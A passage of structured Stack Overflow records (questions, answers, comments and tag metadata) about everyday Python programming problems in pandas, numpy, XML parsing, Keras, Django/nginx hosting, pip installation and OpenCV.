= max(returns.mean()) mus = np.random.uniform(0.001,0.03,1000) S = np.cov(returns, rowvar = False) pbar = np.matrix(returns.mean()) var = lambda w: w.dot(S.dot(w.T)) frontier_mean, frontier_var, frontier_weights = [], [], [] for r in mus: w = np.ones([n]) / n w_bound = [(0, 1) for i in range(n)] w_constraint = ({'type': 'eq', 'fun': lambda w: sum(w) - 1.}) optimal_w = scipy.optimize.minimiz…
has title: Markowitz mean variance optimization in python using scipy optimize
answer count: 1

http://stackoverflow.com/q/47375915
has comment: http://stackoverflow.com/comment/81704666
has comment: http://stackoverflow.com/comment/81712537
type: Question
has answer: http://stackoverflow.com/a/47376075
answer count: 2
type: UnansweredQuestion
downvote count: 2
has comment: http://stackoverflow.com/comment/81712558
upvote count: 1
has comment: http://stackoverflow.com/comment/81704231
favorite count: 0
has title: how do i only let my program continue if the hexadecimal is only using 1-9 and a-f?
has answer: http://stackoverflow.com/a/47376052
has comment: http://stackoverflow.com/comment/81704332
has comment: http://stackoverflow.com/comment/81704185
has comment: http://stackoverflow.com/comment/81712591
tagged with: python
score: -1
has body: this code is used to convert hexadecimal to (decimal) i am not understanding how to only allow the program to continue if the the letters are up to f def option6(): print("\n") print("----------------HEXADECIMAL-DENARY-----------------") #converts the entered hexadecimal (in base 16) into a integer using the int function hexa = input("Please Enter a Hexadecimal : ") if hexa ==("1" or "3" or "4" or "5" or "6" or "7" or "8" or "9" or "a" or "b" or "c" or "d" or "e" or "f"): denary = int(hexa,16) print("Your Denary number is : ",denary) print("\n") print("===================================================") menu=input("Would You Like To Return To The Selection Menu?(Y,N) : ").upper() if menu == "Y".upper(): main() elif menu == "N".upper(): print("\n") print("==================================") print("You Denary number is: ") print(denary) print("Thank You For Your Time!") else: print("Not In Range") option6()

http://stackoverflow.com/q/47327219
has comment: http://stackoverflow.com/comment/81605665
has comment: http://stackoverflow.com/comment/81605269
tagged with: python
has comment: http://stackoverflow.com/comment/81605340
has comment: http://stackoverflow.com/comment/81605696
tagged with: http://stackoverflow.com/tag/xml
has comment: http://stackoverflow.com/comment/81605400
tagged with: xpath
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47331142
has comment: http://stackoverflow.com/comment/81605162
score: 1
duplicate of: http://stackoverflow.com/q/40796231
answer count: 1
downvote count: 0
has title: XPath: Find all known tags with specific attribute
upvote count: 1
linked to: http://stackoverflow.com/q/14853243
linked to: http://stackoverflow.com/q/40796231
accepted answer: http://stackoverflow.com/a/47331142
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81605835
duplicate of: http://stackoverflow.com/q/14853243
has body: I want to get a list of all trololo tags with attr attribute (but not xxx or any other) using Python from following XML: I've tried using //*[@attr], but result includes xxx tag as well. All other variations I tried are failing so far. The actual Python code I'm using: import xml.etree.ElementTree as ET from pprint import pprint tree = ET.parse('test.xml') nodes = tree.findall('//*trololo[@attr]') pprint(nodes) Output: [] UPDATE: I've found out this was a namespace problem, which makes this question a duplicate. The problem was I had a root node looking like this:

http://stackoverflow.com/q/47317000
tagged with: python-3.x
upvote count: 2
type: UnansweredQuestion
answer count: 1
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/47317085
has body: Is there a built-in or Pythonic way to do this? Or maybe my question should be: Is there a better way to write the dictionary comprehension example at the end of this question? def split_list(list, index): return list[:index], list[index:] I find myself needing to do this in list comprehensions where I get lists from some generator and want to split the lists into two pieces. For example, a text file like the following: txt_file = """key1 value value value value key2 value value value value """ import io {k:v for line in io.StringIO(txt_file) for items in (line.strip().split(),) for k, v in ((items[0], items[1:]),)} Output: {'key1': ['value', 'value', 'value', 'value'], 'key2': ['value', 'value', 'value', 'value']}
has title: Is there a single call method of splitting a list (iterable) into two parts?
tagged with: python
type: Question
score: 2

http://stackoverflow.com/comment/81662476
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47354834
type: Comment
has text: Thanks for the help! I really appreciate it, this will really help me improve my code.

http://stackoverflow.com/q/47299118
type: AnsweredQuestion
downvote count: 0
tagged with: pandas
score: 1
has body: I feel like this question has been asked but I can't find an exact answer. I have a large dataset with dozens of columns. I am trying to delete rows from the dataset when the value in any column is greater than 5, but I don't want to search the first two columns (those first two columns can have values greater than 5). I understand that specific columns can be named eg.( df.colname > 5), but how do I do it for a range of columns? like this: df = df[df.columns[2:34] > 5]
upvote count: 1
answer count: 1
has title: Deleting rows in Pandas DataFrame based on values, from a specific range columns
favorite count: 0
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/47299328
tagged with: python
tagged with: slice
accepted answer: http://stackoverflow.com/a/47299328

http://stackoverflow.com/comment/81608392
score: 0
has text: In `pop` you are returning the `head ` data, not the `tail`.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47328822

http://stackoverflow.com/comment/81677810
comment on: http://stackoverflow.com/q/47362296
score: 0
type: QuestionComment
has text: Hard for me to tell more without having a look at the data. It may be that an image in is not the right size. The code looks fine. Perhaps you could print the length of each `decode_raw` and see when the 178802 comes up, which is surprisingly 2 x 299 x 299.
type: Comment

http://stackoverflow.com/comment/81678133
has text: @tadman Python uses a good O(n\*log(n)) sort implementation, but O(n\*log(n)) is O(n\*log(n)). Whether it's twice as fast or twice as slow as another O(n\*log(n)) implementation is of secondary consequence. Serious programmers will *always* balk when they see an O(n\*log(n)) solution to an O(n) problem. It's automatic.
score: 0
comment on: http://stackoverflow.com/q/47362508
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47288964
score: 1
upvote count: 1
downvote count: 0
type: Answer
has body: str to list , then we using stack dat.y=dat.y.str.split(' ') dat.set_index('x').y.apply(pd.Series).stack().reset_index().\ drop('level_1',1).rename(columns={0:'y'}) Out[484]: x y 0 1 Lorem 1 1 ipsum 2 1 dolor 3 1 sit 4 1 amet 5 2 consectetur 6 2 adipiscing 7 2 elit
answers question: http://stackoverflow.com/q/47288914

http://stackoverflow.com/a/47276745
accepted answer of: http://stackoverflow.com/q/47276494
type: Answer
answers question: http://stackoverflow.com/q/47276494
upvote count: 3
has body: Not sure how big your arrays will get, but if they remain fairly small, this could work: import numpy as np arr1 = np.array([(255, 255, 255), (255, 255, 255)]) arr2 = np.array([(255, 255, 255), (255, 255, 255)]) intersectedArr = [] for a1, a2 in zip(arr1, arr2): if np.array_equal(a1, a2): intersectedArr.append(a1) print(np.array(intersectedArr)) arr1 = np.array([(100, 100, 100), (255, 255, 255)]) arr2 = np.array([(255, 255, 255), (255, 255, 255)]) intersectedArr = [] for a1, a2 in zip(arr1, arr2): if np.array_equal(a1, a2): intersectedArr.append(a1) print(np.array(intersectedArr))
downvote count: 0
type: AcceptedAnswer
score: 3

http://stackoverflow.com/a/55676042
score: 4
has comment: http://stackoverflow.com/comment/112605006
answers question: http://stackoverflow.com/q/47268976
downvote count: 1
upvote count: 5
has body: Here is my solution for rolling weighted average, using pandas _Rolling_and_Expanding: First, I've added new column for the multiplication: df['mul'] = df['value'] * df['weight'] Then write the function you would like to apply: from pandas.core.window.rolling import _Rolling_and_Expanding def weighted_average(x): d = [] d.append(x['mul'].sum()/x['weight'].sum()) return pd.Series(d, index=['wavg']) _Rolling_and_Expanding.weighted_average = weighted_average Apply the function by the following line: result = mean_per_group.rolling(window=7).weighted_average() Then you can get the series you wanted by: result['wavg']
type: Answer

http://stackoverflow.com/comment/81417675
has text: after type the script test1.py command_line_argument and execute,return back to nothing
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47227457
type: AnswerComment

http://stackoverflow.com/q/47322992
has comment: http://stackoverflow.com/comment/81597322
has comment: http://stackoverflow.com/comment/81597009
tagged with: django
tagged with: python
score: -1
accepted answer: http://stackoverflow.com/a/47323668
has title: Hosting 2 django project inside one VPS server
type: AnsweredQuestion
downvote count: 2
upvote count: 1
answer count: 1
has answer: http://stackoverflow.com/a/47323668
has body: I am trying to run 2 django project in one single VPS server in 2 different domain. I am using gunicorn as my project server. I have created 2 virtual env, 2 supervisor and 2 separate file in sites-available and enable-folder. My project is running well but the problem is in one time only one project is running in both the domain. Though in my nginx sites-avaible files are given different domain as server_name still one django project is running both of the domain Can any oone help. /etc/nginx/sites-avaiable/VaidText upstream sample_project_server { # fail_timeout=0 means we always retry an upstream even if it failed # to return a good HTTP response (in case the Unicorn master nukes a # single worker for timing out). server unix:/home/example/test.example.com/TestEnv/run/gunicorn.sock fail_timeout=0; } server { listen 80; server_name test.example.com; client_max_body_size 4G; access_log /home/example/test.example.com/logs/nginx-access.log; error_log /home/example/test.example.com/logs/nginx-error.log; location /static/ { alias /home/ubuntu/static/; } location /media/ { alias /home/ubuntu/media/; } location / { # an HTTP header important enough to have its own Wikipedia entry: # http://en.wikipedia.org/wiki/X-Forwarded-For proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # enable this if and only if you use HTTPS, this helps Rack # set the proper protocol for doing redirects: # proxy_set_header X-Forwarded-Proto https; # pass the Host: header from the client right along so redirects # can be set properly within the Rack application proxy_set_header Host $http_host; # we don't want nginx trying to do something clever with # redirects, we set the Host: header above already. proxy_redirect off; # set "proxy_buffering off" *only* for Rainbows! when doing # Comet/long-poll stuff. It's also safe to set if you're # using only serving fast clients with Unicorn + nginx. # Otherwise you _want_ nginx to buffer responses to slow # clients, really. # proxy_buffering o…
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81596742
tagged with: gunicorn
tagged with: vps
tagged with: nginx

http://stackoverflow.com/q/47240172
favorite count: 0
tagged with: parsing
tagged with: http://stackoverflow.com/tag/xml
type: Question
tagged with: xml-parsing
accepted answer: http://stackoverflow.com/a/47241365
tagged with: python
has comment: http://stackoverflow.com/comment/81431109
type: AnsweredQuestion
has title: parsing XML using cElementTree in python
has comment: http://stackoverflow.com/comment/81431155
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/81431066
answer count: 1
has body: I have a problem with parsing an XML file using python, namely - syntax. My XML files look like this one: <?xml version="1.0" encoding="UTF-8"?> dzisiaj dzisiaj adv:pos uczę uczyć fin:sg:pri:imperf 1449 1449/0.3151019143 52662/0.2635524432 58124/0.2227816629 58122/0.1985639796 szkolić.1(29:cumy) nauczać.1(29:cumy) kształcić.1(29:cumy) edukować.1(29:cumy) uczyć.1(29:cumy) się się qub o o prep:acc świecie świat subst:sg:loc:m3 7826 7826/0.1761356163 43462/0.1512730526 8139/0.1506959982 8361/0.1446884158 3331/0.1435643398 10819/0.1251661757 3332/0.1084764017 cywilizacja.1(11:grp) krąg_kulturowy.1(11:grp) kultura.3(11:grp) krąg_cywilizacyjny.1(17:rsl) świat.2(11:grp) And what i need, is a list containing tuples with two values, and . Every tuple is for every tag. so, for example for second i need a result like (uczę, 1449). I have written pseudocode about how i think it should work, but i have no idea how to implement it using ET. Here it is: ResultArray=[] def treeSearch(root): for element in root: if element == 'tok': temp1=0 temp2=0 for tokens in element: if token == 'orth': temp1=token.value() if token == 'prop key="sense:ukb:syns_id"': temp2=token.value() tempTuple=(temp1,temp2) resultArray.append(tempTuple) return ResultArray
has answer: http://stackoverflow.com/a/47241365
tagged with: elementtree

http://stackoverflow.com/q/47373827
answer count: 1
has comment: http://stackoverflow.com/comment/81700784
tagged with: pip
has comment: http://stackoverflow.com/comment/81700673
has body: I am trying to install jupyter notebook but for some reasons I am not able to install it. I have looked into several links like this and this but it did not help me. I am guessing the problem here is with the installation of pip. When I check the version of pip I get the following result : shaloin@shaolin-Inspiron-3543:~$ pip --version pip 1.5.4 from /usr/lib/python2.7/dist-packages (python 2.7) But when I try to upgrade the version of pip, I am getting this error : shaloin@shaolin-Inspiron-3543:~$ sudo pip install --upgrade pip Cannot fetch index base URL https://pypi.python.org/simple/ Could not find any downloads that satisfy the requirement pip in /usr/lib/python2.7/dist-packages Downloading/unpacking pip Cleaning up... No distributions at all found for pip in /usr/lib/python2.7/dist-packages Storing debug log for failure in /home/shaloin/.pip/pip.log So, I searched for the error and I got to know that if you are behind proxy you should try out the following command : sudo pip --proxy [NITS:abcde@]172.16.30.20:8080 install jupyter where NITS is the usename abcde is the password , proxy server = 172.16.30.20 and password=8080, after which I got the following error : Downloading/unpacking jupyter Cleaning up... Exception: Traceback (most recent call last): File "/usr/lib/python2.7/dist-packages/pip/basecommand.py", line 122, in main status = self.run(options, args) File "/usr/lib/python2.7/dist-packages/pip/commands/install.py", line 278, in run requirement_set.prepare_files(finder, force_root_egg_info=self.bundle, bundle=self.bundle) File "/usr/lib/python2.7/dist-packages/pip/req.py", line 1178, in prepare_files url = finder.find_requirement(req_to_install, upgrade=self.upgrade) File "/usr/lib/python2.7/dist-packages/pip/index.py", line 194, in find_requirement page = self._get_page(main_index_url, req) File "/usr/lib/python2.7/dist-packages/pip/index.py", line 568, in _get_page session=self.session, File "/usr/lib/python2.7/dist-packages/pip/index.py", line 670,…
type: Question
has comment: http://stackoverflow.com/comment/81700587
has title: Installing Jupyter Notebook using pip in Ubuntu 14.04
has comment: http://stackoverflow.com/comment/81700414
has comment: http://stackoverflow.com/comment/81700854
has comment: http://stackoverflow.com/comment/81700818
has comment: http://stackoverflow.com/comment/81700828
has comment: http://stackoverflow.com/comment/81700911
has answer: http://stackoverflow.com/a/47375766
tagged with: python
accepted answer: http://stackoverflow.com/a/47375766
has comment: http://stackoverflow.com/comment/81700778
has comment: http://stackoverflow.com/comment/81700864
tagged with: ubuntu
has comment: http://stackoverflow.com/comment/81700481
has comment: http://stackoverflow.com/comment/81700384
tagged with: jupyter-notebook
has comment: http://stackoverflow.com/comment/81700834
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/81700647
has comment: http://stackoverflow.com/comment/81700374
has comment: http://stackoverflow.com/comment/81700494

http://stackoverflow.com/a/47318267
score: 0
has body: This is a bug that was introduced in Keras 2.1.0 (and wasn't completely fixed in 2.1.1). Try installing Keras 2.0.9 or earlier: pip uninstall keras pip install keras==2.0.9 https://github.com/fchollet/keras/issues/8481
has comment: http://stackoverflow.com/comment/81588793
type: Answer
answers question: http://stackoverflow.com/q/47318211

http://stackoverflow.com/comment/81435050
type: QuestionComment
has text: Yeah, I understand, I was wondering specifically about teams in this code, as I do explicitly copy it to apda_teams, and then only call functions on apda_teams, yet teams is being modified.
comment on: http://stackoverflow.com/q/47235275
score: 0
type: Comment

http://stackoverflow.com/a/47310778
answers question: http://stackoverflow.com/q/47309555
score: 1
upvote count: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/47309555
downvote count: 0
has body: You can do it by parsing the lines of the nslookup result into a dictionary, and then using it to format the output. nslookup = (b'Server: server.internal\r\nAddress: 192.168.0.2\r\n\r\n' b'Name: www.google.com\r\nAddresses: 2404:6800:4007:800::2004\r\n' b'\t216.58.197.68\r\n\r\n') info = {} for line in nslookup.decode().splitlines(): tokens = line.split() if len(tokens) == 2: if tokens[0] == 'Addresses:': info.setdefault('Addresses', []).append(tokens[1]) # Without ":" else: info[tokens[0].rstrip(':')] = tokens[1] elif len(tokens) == 1: info['Addresses'].append(tokens[0]) info['Addresses'] = ', '.join(info['Addresses']) # Format and convert to string. print('''\ Server: {Server} Name: {Name} DNS: {Address} Addresses: {Addresses}'''.format(**info)) Output: Server: server.internal Name: www.google.com DNS: 192.168.0.2 Addresses: 2404:6800:4007:800::2004, 216.58.197.68
type: AcceptedAnswer

http://stackoverflow.com/comment/81557505
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47299303
has text: The csv file is ok (quoted multiline fields).

http://stackoverflow.com/q/47293004
tagged with: opencv
has title: how to stop opencv2 matrix from applying mod on arithmatic result
has comment: http://stackoverflow.com/comment/81536645
tagged with: python
has answer: http://stackoverflow.com/a/47293063
type: AnsweredQuestion
score: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/47293063
has comment: http://stackoverflow.com/comment/81536676
type: Question
has body: I have two opencv matrices A and B that have intensity values ranging from 0-255. I am trying to do arithmetic operations on those matrices such that C = A - B A = cv2.imread('b.jpg',0) B = cv2.imread('a.jpg',0) C = np.zeros_like(A) C = A - B The problem is that if I have A[0,0] =88 and B[0,0] = 184, then C[0,0] = 160. I am assuming what happens is that it does (88-184)%256, but is there a way to make it so that it caps at 0 or 255? Edit: Turns out I misunderstood how numpy works with opencv2. I didn't realize that numpy arrays can change type, and that what I was looking at was an overflow issue. I casted my array into a float and it fixed my issues.
tagged with: numpy

http://stackoverflow.com/q/47272456
downvote count: 0
has answer: http://stackoverflow.com/a/47306495
answer count: 1
accepted answer: http://stackoverflow.com/a/47306495
tagged with: django
has comment: http://stackoverflow.com/comment/81496090
tagged with: psycopg2
favorite count: 0
type: Question
tagged with: postgresql
upvote count: 5
has comment: http://stackoverflow.com/comment/81496372
tagged with: python
has comment: http://stackoverflow.com/comment/81543608
has title: Cannot debug error message for psycopg2 with django and postgreSQL
has body: I am trying to create a postgreSQL database connected to a django web app using psycopg2. I am recieving the following error when I run python manage.py migrate (temp-python) ❯ python manage.py migrate Traceback (most recent call last): File "~/git-repos/MyApp/temp-python/lib/python3.4/site-packages/django/db/backends/postgresql/base.py", line 20, in &lt;module&gt; import psycopg2 as Database File "~/git-repos/MyApp/temp-python/lib/python3.4/site-packages/psycopg2/__init__.py", line 50, in &lt;module&gt; from psycopg2._psycopg import ( # noqa ImportError: ~/git-repos/MyApp/temp-python/lib/python3.4/site-packages/psycopg2/.libs/libresolv-2-c4c53def.5.so: symbol __res_maybe_init, version GLIBC_PRIVATE not defined in file libc.so.6 with link time reference During handling of the above exception, another exception occurred: Traceback (most recent call last): File "manage.py", line 22, in &lt;module&gt; execute_from_command_line(sys.argv) File "~/git-repos/MyApp/temp-python/lib/python3.4/site-packages/django/core/management/__init__.py", line 367, in execute_from_command_line utility.execute() File "~/git-repos/MyApp/temp-python/lib/python3.4/site-packages/django/core/management/__init__.py", line 341, in execute django.setup() File "~/git-repos/MyApp/temp-python/lib/python3.4/site-packages/django/__init__.py", line 27, in setup apps.populate(settings.INSTALLED_APPS) File "~/git-repos/MyApp/temp-python/lib/python3.4/site-packages/django/apps/registry.py", line 108, in populate app_config.import_models(all_models) File "~/git-repos/MyApp/temp-python/lib/python3.4/site-packages/django/apps/config.py", line 199, in import_models self.models_module = import_module(models_module_name) File "~/git-repos/MyApp/temp-python/lib/python3.4/importlib/__init__.py", line 109, in import_module return _bootstrap._gcd_import(name[level:], package, level) File "&lt;frozen importlib._bootstrap&gt;", line 2254, in _gcd_import File "&lt;frozen importlib._bootstrap&gt;", line 2237, in _find_a…
has comment: http://stackoverflow.com/comment/81563176
type: AnsweredQuestion
score: 5
linked to: http://stackoverflow.com/q/46966278
tagged with: archlinux

http://stackoverflow.com/comment/81535705
type: Comment
has text: Don't delete, use masks if possible. Use NumPy for performance if you are working with regular data (numeric only).
score: 1
comment on: http://stackoverflow.com/q/47292603
type: QuestionComment

http://stackoverflow.com/q/47352482
has body: In a pandas df, I have a column ['name'] with various Operating System classifications such as 'Windows 7', 'Windows 10', 'Linux', 'Mobile iOS 9.1', 'OS X 10.12', etc. That are strings. I am hoping to use this function to create a new column ['type'] that will be a more generalized version: def name_group(row): if 'Windows' in row: name = 'Microsoft Windows' elif 'iOS' in row: name = 'Apple iOS' elif 'OS X' in row: name ='Apple Macintosh' elif 'Macintosh' in row: name = 'Apple Macintosh' elif 'Linux' in row: name = 'GNU/Linux' else: name = 'Other' return name It works correctly when I test the function by passing in a single string variable, but for some reason when I apply the function to the df like this, it only returns "other" for each row. new_df['type'] = new_df.apply(name_group, axis=1) Any thoughts on what could be causing this?
tagged with: pandas
type: AnsweredQuestion
tagged with: function
score: 0
upvote count: 1
answer count: 1
downvote count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/47352518
has answer: http://stackoverflow.com/a/47352518
type: Question
tagged with: python
has title: Apply function over rows in pandas df

http://stackoverflow.com/q/47294651
has body: I have well-structured 60GB / 1 billion line XML file I'd like to extract specific tags from ( info ), with each tag occuring across multiple lines. Instead of parsing the whole file with lxml, I'd like to use a multiline regular expression. I would use re.findall(), but that seems to risk a memory leak or excess memory usage. Instead, I want to write each match to a file as it's found, discard it, and move on. What is a good way of doing this?
has comment: http://stackoverflow.com/comment/81540464
score: 2
has comment: http://stackoverflow.com/comment/81540554
upvote count: 3
answer count: 0
has comment: http://stackoverflow.com/comment/81540789
downvote count: 1
has comment: http://stackoverflow.com/comment/81540775
favorite count: 0
has comment: http://stackoverflow.com/comment/81540581
has comment: http://stackoverflow.com/comment/81540392
type: Question
has comment: http://stackoverflow.com/comment/81540659
tagged with: memory-leaks
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81540703
tagged with: regex
has title: Processing large file with python regex without overwhelming memory
linked to: http://stackoverflow.com/q/1732348
has comment: http://stackoverflow.com/comment/81540834

http://stackoverflow.com/q/47289116
tagged with: keras
tagged with: tensorflow
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81530912
has answer: http://stackoverflow.com/a/47289654
has comment: http://stackoverflow.com/comment/81528758
tagged with: neural-network
has title: element-wise multiplication with broadcasting in keras custom layer
has comment: http://stackoverflow.com/comment/81529880
tagged with: python
has comment: http://stackoverflow.com/comment/81530405
has comment: http://stackoverflow.com/comment/81529364
upvote count: 6
accepted answer: http://stackoverflow.com/a/47289654
has comment: http://stackoverflow.com/comment/81529803
has answer: http://stackoverflow.com/a/47354179
type: AnsweredQuestion
tagged with: keras-layer
answer count: 2
has comment: http://stackoverflow.com/comment/106737529
has body: I am creating a custom layer with weights that need to be multiplied by element-wise before activation. I can get it to work when the output and input is the same shape. The problem occurs when I have a first order array as input with a second order array as output. tensorflow.multiply supports broadcasting, but when I try to use it in Layer.call(x, self.kernel) to multiply x by the self.kernel Variable it complains that they are different shapes saying: ValueError: Dimensions must be equal, but are 4 and 3 for 'my_layer_1/Mul' (op: 'Mul') with input shapes: [?,4], [4,3]. here is my code: from keras import backend as K from keras.engine.topology import Layer import tensorflow as tf from keras.models import Sequential import numpy as np class MyLayer(Layer): def __init__(self, output_dims, **kwargs): self.output_dims = output_dims super(MyLayer, self).__init__(**kwargs) def build(self, input_shape): # Create a trainable weight variable for this layer. self.kernel = self.add_weight(name='kernel', shape=self.output_dims, initializer='ones', trainable=True) super(MyLayer, self).build(input_shape) # Be sure to call this somewhere! def call(self, x): #multiply wont work here? return K.tf.multiply(x, self.kernel) def compute_output_shape(self, input_shape): return (self.output_dims) mInput = np.array([[1,2,3,4]]) inShape = (4,) net = Sequential() outShape = (4,3) l1 = MyLayer(outShape, input_shape= inShape) net.add(l1) net.compile(loss='mean_absolute_error', optimizer='adam', metrics=['accuracy']) p = net.predict(x=mInput, batch_size=1) print(p) Edit: Given input shape (4,) and output shape (4,3) the weight matrix should be the same shape as the output and initialized with ones. So in the above code the input is [1,2,3,4], the weight matrix should be [[1,1,1,1],[1,1,1,1],[1,1,1,1]] and the output should look like [[1,2,3,4],[1,2,3,4],[1,2,3,4]]
has comment: http://stackoverflow.com/comment/81530374
has comment: http://stackoverflow.com/comment/81530289
has comment: http://stackoverflow.com/comment/81529968
downvote count: 0
score: 6
possible better answer: http://stackoverflow.com/a/47354179

http://stackoverflow.com/q/47369372
has comment: http://stackoverflow.com/comment/81691695
tagged with: eval
accepted answer: http://stackoverflow.com/a/71341247
linked to: http://stackoverflow.com/q/47055970
has comment: http://stackoverflow.com/comment/81691777
has answer: http://stackoverflow.com/a/71341247
tagged with: python
tagged with: differential-evolution
has title: How to add several constraints to differential_evolution?
has body: I have the same problem as in this question but don't want to add only one but several constraints to the optimization problem. So e.g. I want to maximize x1 + 5 * x2 with the constraints that the sum of x1 and x2 is smaller than 5 and x2 is smaller than 3 (needless to say that the actual problem is far more complicated and cannot just thrown into scipy.optimize.minimize as this one; it just serves to illustrate the problem...). I can to an ugly hack like this: from scipy.optimize import differential_evolution import numpy as np def simple_test(x, more_constraints): # check wether all constraints evaluate to True if all(map(eval, more_constraints)): return -1 * (x[0] + 5 * x[1]) # if not all constraints evaluate to True, return a positive number return 10 bounds = [(0., 5.), (0., 5.)] additional_constraints = ['x[0] + x[1] &lt;= 5.', 'x[1] &lt;= 3'] result = differential_evolution(simple_test, bounds, args=(additional_constraints, ), tol=1e-6) print(result.x, result.fun, sum(result.x)) This will print [ 1.99999986 3. ] -16.9999998396 4.99999985882 as one would expect. Is there a better/ more straightforward way to add several constraints than using the rather 'dangerous' eval?
tagged with: optimization
has comment: http://stackoverflow.com/comment/81691403
has comment: http://stackoverflow.com/comment/81691804
has answer: http://stackoverflow.com/a/47369561
type: AnsweredQuestion
favorite count: 0
answer count: 2
upvote count: 2
score: 1
downvote count: 1
tagged with: scipy
possible better answer: http://stackoverflow.com/a/47369561
has comment: http://stackoverflow.com/comment/81691533
has comment: http://stackoverflow.com/comment/81691475
type: Question
linked to: http://stackoverflow.com/q/43284991

http://stackoverflow.com/q/47304847
accepted answer: http://stackoverflow.com/a/47304996
possible better answer: http://stackoverflow.com/a/47310898
has answer: http://stackoverflow.com/a/47304996
score: 7
downvote count: 1
favorite count: 0
type: Question
upvote count: 8
has title: Custom pandas groupby on a list of intervals
has body: I have a dataframe df: A B 0 28 abc 1 29 def 2 30 hij 3 31 hij 4 32 abc 5 28 abc 6 28 abc 7 29 def 8 30 hij 9 28 abc 10 29 klm 11 30 nop 12 28 abc 13 29 xyz df.dtypes A object # A is a string column as well B object dtype: object I want to use the values from this list to groupby: i = np.array([ 3, 5, 6, 9, 12, 14]) Basically, all rows in df with index 0, 1, 2 are in the first group, rows with index 3, 4 are in the second group, rows with index 5 are in the third group, and so on. My end goal is this: A B 28,29,30 abc,def,hij 31,32 hij,abc 28 abc 28,29,30 abc,def,hij 28,29,30 abc,klm,nop 28,29 abc,xyz Solution so far using groupby + pd.cut: df.groupby(pd.cut(df.index, bins=np.append([0], i)), as_index=False).agg(','.join) A B 0 29,30,31 def,hij,hij 1 32,28 abc,abc 2 28 abc 3 29,30,28 def,hij,abc 4 29,30,28 klm,nop,abc 5 29 xyz The result is incorrect :-( How can I do this properly?
tagged with: python
has answer: http://stackoverflow.com/a/47310898
type: AnsweredQuestion
answer count: 2
tagged with: pandas-groupby
tagged with: pandas
tagged with: group-by

http://stackoverflow.com/q/47315502
accepted answer: http://stackoverflow.com/a/47316124
tagged with: http://stackoverflow.com/tag/xml
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47315758
possible better answer: http://stackoverflow.com/a/47315758
score: 0
answer count: 2
has title: Adding a subelement to a subelement lxml
tagged with: lxml
has body: I am using lxml in an attempt to to output the following xml code: images IMG_8111.JPG 400 400 0 Bottle 16 71 390 323 Im using this tutorial to learn how to implement lxml for my needs. The issue I am facing is that my desired output has subelements to subelements. For instance - is my main element, and then , and are subelements, but then, and ' are subelements to the` subelements. How do I make this happen with lxml. I have the following so far: from lxml import etree import xml.etree.cElementTree as ET root = etree.Element("annotation") etree.SubElement(root, "folder").text = "Child 1" etree.SubElement(root, "filename").text = "Child 2" size = etree.SubElement(root, "size").text = "Child 3" etree.SubElement(size, "width").text = "Child 4" with open ('xmltree.xml', 'wb') as f: f.write(etree.tostring(root, pretty_print = True)) But it throws the following error: etree.SubElement(size, "width").text = "Child 4" TypeError: Argument '_parent' has incorrect type (expected lxml.etree._Element, got str) Please help me out on what I am doing wrong and how to proceed.
type: Question
tagged with: python
has answer: http://stackoverflow.com/a/47316124

http://stackoverflow.com/a/47265372
answers question: http://stackoverflow.com/q/47265000
score: 3
type: Answer
has body: It is perhaps easier just to set the pixels you don't want in the second image to 0? im = im2.copy() im[im1 == im2] = 0 im = Image.fromarray(im) seems to work for me (obviously just with bigger artifacts because I used your uploaded JPGs) It is also possible to do this without numpy: from PIL import ImageChops from PIL import Image root = '/root/' im1 = Image.open(root + '1.jpg') im2 = Image.open(root + '2.jpg') def nonzero(a): return 0 if a &lt; 10 else 255 mask = Image.eval(ImageChops.difference(im1, im2), nonzero).convert('1') im = Image.composite(im2, Image.eval(im2, lambda x: 0), mask)
upvote count: 3
accepted answer of: http://stackoverflow.com/q/47265000
type: AcceptedAnswer
downvote count: 0

restore
tag name: restore
type: Tag
tags question: http://stackoverflow.com/q/47254705

http://stackoverflow.com/comment/81580475
comment on: http://stackoverflow.com/a/47305726
type: AnswerComment
score: 0
has text: @surfer190 Why do you need those operations? What do you want to actually store: time like 17:30 (5:30pm) or amount of hours (duration) like 17 hours and 30 minutes?
type: Comment

http://stackoverflow.com/q/47253198
has answer: http://stackoverflow.com/a/47253794
type: UnansweredQuestion
tagged with: python
has title: newbie - attempting object tracking / locating in opencv python, problems with findContours()
score: 0
tagged with: opencv3.0
answer count: 1
tagged with: image-processing
type: Question
has body: I'm attempting to locate a rectangular object by its color, and then find the coordinates of the center of the object, or the borders, I"m not picky about which. I've been successful in isolating the color and creating a mask, but the findContours function is not working and i think it's because i've not successfully provided a proper bimodal image to findContours. %matplotlib inline import matplotlib.image as mpimg from matplotlib import pyplot as plt import cv2 import numpy as np red_image = mpimg.imread('/vagrant/notebooks/red_thing.jpg') hsv = cv2.cvtColor(red_image, cv2.COLOR_BGR2HSV) lower_red = np.array([30,150,50]) upper_red = np.array([255,255,180]) mask = cv2.inRange(hsv, lower_red, upper_red) res = cv2.bitwise_and(red_image,red_image, mask= mask) kernel = np.ones((20,20),np.uint8) ret,thresh1 = cv2.threshold(res,60,255,cv2.THRESH_BINARY) # perform 'open' operation to homogenize object opened = cv2.morphologyEx(thresh1, cv2.MORPH_OPEN, kernel) image, contours, hierarchy = cv2.findContours(opened,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE) The last line produces the following error, I can't figure out how to resolve this. --------------------------------------------------------------------------- error Traceback (most recent call last) &lt;ipython-input-130-06cc5691b64a&gt; in &lt;module&gt;() ----&gt; 1 image, contours, hierarchy = 